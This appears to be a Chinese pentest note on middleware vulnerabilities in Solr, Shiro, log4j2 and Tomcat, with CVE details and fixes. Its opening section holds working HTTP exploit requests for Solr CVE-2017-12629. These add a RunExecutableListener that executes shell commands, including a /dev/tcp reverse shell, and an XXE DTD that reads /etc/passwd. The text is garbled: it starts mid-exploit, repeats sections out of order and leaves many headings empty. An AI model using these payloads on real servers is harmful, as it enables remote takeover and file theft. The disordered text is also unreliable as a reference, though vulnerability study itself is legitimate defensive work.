POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}
更新一下操作,修改post包,触发前面的命令
HTTP
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
反弹shell(同上,只是传入的命令换了)
HTTP
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
HTTP
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}
1.1.3.1.5 修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
1.1.3.2 远程命令执行XXE(CVE-2017-12629)
1.1.3.2.1 漏洞详情
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1.1.3.2.2 影响版本
Apache solr<7.1.0版本
1.1.3.2.3 漏洞利用
在另一台服务器web站点下创建一个.dtd文件
XML
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
中间件,通俗来说就是位于操作系统(底层)与业务应用(表层)之间的“软件胶水”或“转换器”。它屏蔽了底层技术的复杂性,让开发者能专注于业务逻辑。
根据应用场景,常见的中间件:
一、Apache
1.1 RCE远程代码执行漏洞
1.1.1 log4j2远程代码执行漏洞(2021年12月)
1.1.1.1 原理
1.1.1.2 漏洞验证
VulHub:找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参。
构造Payload:
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后再dnslog留下记录,我们可以看到留下了访问记录并且前面的参数被执行,后面给我们回显了java的版本号。
1.1.1.3 修复方法
1.1.2 Shiro-721 高危代码执行漏洞(2021)
1.1.2.1 原理
该漏洞是由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
1.1.2.2 漏洞影响
1.2.5<=shiro<=1.4.2
1.1.2.3 漏洞指纹
1.1.2.4 利用技巧
1.1.2.5 如何防范
1.1.3 solr 远程代码执行漏洞
1.1.3.1 远程命令执行RCE
1.1.3.1.1 简介
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
1.1.3.1.2 漏洞详情
CVE-2017-12629 在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1.1.3.1.3 影响版本
Apache solr<7.1.0版本
1.1.3.1.4 漏洞利用
1.1.3.1.5 修复方案
1.1.3.2 远程命令执行XXE(CVE-2017-12629)
1.1.3.2.1 漏洞详情
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1.1.3.2.2 影响版本
Apache solr<7.1.0版本
1.1.3.2.3 漏洞利用
1.1.3.2.4 修复方案
1.1.3.3 未授权上传(CVE-2020-13957)
1.1.3.3.1 漏洞详情
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。 整个利用链流程: 上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
1.1.3.3.2 影响版本
1.1.3.2.3 修复方案
升级Apache Solr 8.6.2版本以上
1.2 反序列化漏洞
1.2.1 Shiro-550 存在java反序列化 (2020)
1.2.1.1 攻击特征
在返回包的 Set-Cookie中存在 rememberMe = deleteMe 字段
1.2.1.2 影响范围
Apache Shiro <= 1.2.4 版本都存在威胁
1.2.1.3 漏洞原理
1.2.1.4 防范方法
1.3 解析漏洞
1.3.1 漏洞成因
1.3.2 漏洞利用
1.3.3 漏洞修复
1.4 目录遍历
1.4.1 漏洞成因
1.4.1 利用方法
1.4.1 漏洞修复
二、Tomcat
2.1 Tomcat简介
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。
重要文件:
2.2 任意写文件漏洞
2.2.1 漏洞详情
2.2.2 影响版本
2.2.3 漏洞利用
2.3 AJP 文件包含漏洞(CVE-2020-1938)
2.3.1 漏洞详情
2.3.2 影响版本
2.2.3 漏洞利用